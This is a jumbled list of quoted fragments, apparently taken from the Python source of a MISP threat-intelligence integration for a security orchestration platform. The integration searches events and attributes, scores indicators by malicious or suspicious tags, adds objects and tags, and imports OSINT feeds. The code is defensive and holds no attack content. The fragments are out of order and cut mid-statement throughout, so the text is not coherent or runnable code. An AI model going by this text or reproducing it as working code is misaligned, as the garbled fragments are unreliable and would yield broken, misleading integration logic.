"arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command", "'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format':", "'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp',", "\"Please make sure the API key and the URL are", "for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this", "args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args", "add the tag. Args: attribute_dict (dict): The dictionary that includes", "0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist')", "event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if", "demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'):", "limit the attributes amount to the given limit) and by", "def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type')", "this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] =", "related to an attribute we would like to add it", "output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return", "and converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ')", "(create event for example) Args: event_id (int): Event ID to", "= re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator", "PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please make", "ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator", "attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids,", "that exists in both sets, it will be removed from", "along with their events objects. Note: When limits the attributes", "if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format:", "{ 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME =", "def delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes", "= replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list):", "{event_id} was not found in MISP. please check it once", "-> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category =", "be zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights", "= demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try:", "newer ones. Returns: response (dict): The parsed outputs to context", "change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str)", "event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates =", "outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids", "event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def", "url, domain, email or ip). malicious_tag_ids (set): Tag ids should", "not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args)", "'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments", "demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip')", "params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY :=", "to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list,", "requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of attribute", "build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of", "example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response =", "MISPEvent = None): \"\"\"Adding attribute to a given MISP event", "the event's attribute tags ones as it is part of", "set the event's details. \"\"\" event = MISPEvent() event.distribution =", "0: raise DemistoException(\"page should be zero or a positive number\")", "get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for", "to be scored as malicious or suspicious. Args: all_attributes (dict):", "dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from", "[attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page", "from create event command, the attrubite will be added to", "is an attribute's tag. If the data is event's (is_event_level", "is not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex,", "misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not,", "attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level", "[ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid',", "return_error('Unable to connect to MISP because of a SSLCertVerificationError, '", "number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else:", "{page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\",", "has been added to MISP event ID {event_id}' return CommandResults(", "is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings", "[ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment')", "(1546713469) and converts it to human readable format \"\"\" return", "args new_event (MISPEvent): When this function was called from create", "isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes)", "1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in", "scored as malicious or suspicious. If no tag was found,", "json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i", "can be called as an independence command or as part", "'8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k:", "is_attribute=False): \"\"\" Function will add tag to given UUID of", "= PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An", "{ 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj =", "} SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2", "in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS,", "given UUID belongs to an attribute (True) or event (False).", "searches for all the events that have the tag (i.e", "event object, meaning the tags are event's ones. Otherwise, the", "return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif", "args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last')", "= misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"]", "readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int =", "params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type:", "is event's (is_event_level = true) we would like to add", "event scope). If the data is attribute's (is_event_level = false),", "the threat level is 4 = Unknown. note: - In", "'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish", "'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description':", "and suspicious) are stronger than events' tags. \"\"\" found_tag =", "the original input will be returned Returns: str: dictionary created", "return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event':", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args,", "'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False'))", "def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event:", "event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] =", "build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def", "= demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid", "include tag ids. If there is an id that exists", "tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return", "attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,", "has to be a positive integer, please change the given:", "that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for", "PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}`", "DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX =", "the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response", "event\\nNew event with ID: {event_id} has been successfully created.\\n\" return", "the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object", "email address, domain, url or file hash). dbot_type (str): Indicator", "demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and,", "= { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID',", "an independence command or as part of another command (create", "url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return", "search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False))", "[]) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def", "'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else:", "for parameters and ';' as delimiter for operators. using the", "'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id':", "demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value')", "'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis',", "if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp']", "found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag", "== 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif", "'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution':", "the given UUID belongs to an attribute (True) or event", "UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid,", "= 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from'", "described in https://github.com/MISP/misp-objects args: arguments to create the generic object", "= dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or,", "removed from the suspicious tag ids set and will be", "is_event_tag = tag.get('inherited', 0) # field doesn't exist when this", "return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot =", "as e: raise DemistoException(f'URL [{url}] is not a valid MISP", "event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def", "full related attributes only if the user wants to get", "att_id: raise DemistoException('ID or UUID not specified') sighting_args = {", "Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def", "{attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data =", "An event with the given id: {event_id} was not found", "# Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS '''", "they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name", "event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit ==", "is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids,", "tag is only related to an attribute we would like", "attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp'))", "or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query", "field doesn't exist when this is an attribute level, default", "'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids',", "the required indicator value, this function parses the response. This", "'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id':", "of attributes and Events that: * have tags which configured", "convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names", "tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID':", "demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations']", "'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation',", "suspicious. event_name (str): Name of the event \"\"\" related_events =", "command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability,", "event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in", "\"\"\"Gets a list ot tag ids (each one is str),", "'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id',", "url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if", "outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot", "we would like to add to tag_set_ids all the tags", "(str): Name of the event \"\"\" related_events = [] object_tags_list", "query contains saved words: 'AND:', 'OR:' and 'NOT:' using ','", "attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in", "for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict,", "as delimiter for parameters and ';' as delimiter for operators.", "= f'Object has been added to MISP event ID {event_id}'", "if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes", "events objects. Note: When limits the attributes amount, we sort", "= misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events):", "related to the tag. \"\"\" scored_events = [] if found_tag:", "response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit):", "be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response):", "not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a", "updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return", "Returns: list: list containing dicts that GenericObjectGenerator can take. Examples:", "is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id)", "e: raise DemistoException(f'URL [{url}] is not a valid MISP feed.", "warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params()", "and verify all the tags are valid positive integers.\"\"\" for", "only in the malicious one (as a tag that was", "'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider':", "analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id", "to perform complex query or if no complex query found", "' 'Please try to use the Trust any certificate option.')", "found. Returns: list includes all the events that were detected", "attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag =", "is attribute's (is_event_level = false), and the tag is only", "as malicious or suspicious. event_name (str): Name of the event", "includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if", "'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') ==", "(i.e malicious). * have tags which configured as suspicious will", "ID and Name fields. In addition, returns set of the", "str]): object to replace keys in Returns: Union[dict, list, str]:", "event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]})", "return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template", "in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else", "'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object',", "ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability", "to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid')", "demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command ==", "{'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return", "if 'demisto_query' does not contains any of the complex operators", "has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable,", "DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response", "event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:", "case, we won't add the tag. Args: attribute_dict (dict): The", "(MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key,", "malicious. - Attributes tags (both malicious and suspicious) are stronger", "Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to", "if \"Please make sure the API key and the URL", "Replacing keys and values from Demisto to Misp's keys if", "found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates", "when user set the arg 'compact' to True\"\"\" if isinstance(response_object,", "return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for", "= attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context)", "key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level", "attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids", "ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return", "outputs, for every attribute we remove the \"Related Attribute\" list", "misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj =", "CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No", "ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags =", "== 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format:", "replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def", "url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object", "attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP", "galaxies lists. Eventually, the outputs will be a list of", "in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to']", "Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list", "argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit =", "found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values():", "in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\"", "\"\"\" Gets 2 sets which include tag ids. If there", "feed from url and publishing them to MISP urls with", "bool = False, demisto_args: dict = {}, new_event: MISPEvent =", "events = [event.get('Event') for event in response_object] for i in", "return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__',", "[{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k,", "DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\"", "Args: attribute_dict (dict): The dictionary that includes the tag list.", "attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\" return", "V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def", "if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key):", "make sure your MISP server url is correct.') if \"Please", "in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist", "Union[str, int]) -> str: \"\"\" Gets a timestamp from MISP", "if event['Threat Level ID'] in bad_threat_level_ids: return True return False", "user set the arg 'compact' to True\"\"\" if isinstance(response_object, str):", "( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [", "= build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\",", "results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value)", "'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info':", "'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format':", "generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type),", "''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY", "== found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id,", "convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\":", "is not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX,", "limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full of", "'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true'", "{ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include", "configured to be malicious is stronger than recognised as suspicious).", "response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute", "PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with ID:", "response: raise DemistoException(f'Event ID: {event_id} has not found in MISP:", "the indicator to be scored as malicious or suspicious. Args:", "True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\"", "CommandResults: \"\"\" Execute a MISP search using the 'event' controller.", "stayed only in the malicious one (as a tag that", "return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments", "attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value", "1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA =", "type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags:", "'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object',", "found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD,", "= is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or", "for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting']", "return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'):", "def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search", "template name as described in https://github.com/MISP/misp-objects args: arguments to create", "MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip'))", "None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise", "= controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\")", "'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute", "for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing", "indicator to be scored as malicious or suspicious. Args: all_attributes", ">>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\"", "attribute_highlights = [] for attribute in response: event = attribute.get('Event',", "malicious or suspicious. Args: all_attributes (dict): The parsed response from", "'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for", "new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict)", "enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event =", "ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys", "return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids", "if value: attribute_instance.value = value if comment: attribute_instance.comment = comment", "Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'),", "in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref", "found in MISP for the given filters: {args}\") def delete_event(demisto_args:", "dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key):", "raise DemistoException(f\"Tag id has to be a positive integer, please", "ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type':", "Gets an event id and deletes it. \"\"\" event_id =", "demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url):", "else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment})", "requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response =", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as", "== 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError", "PyMISPError, MISPObject, 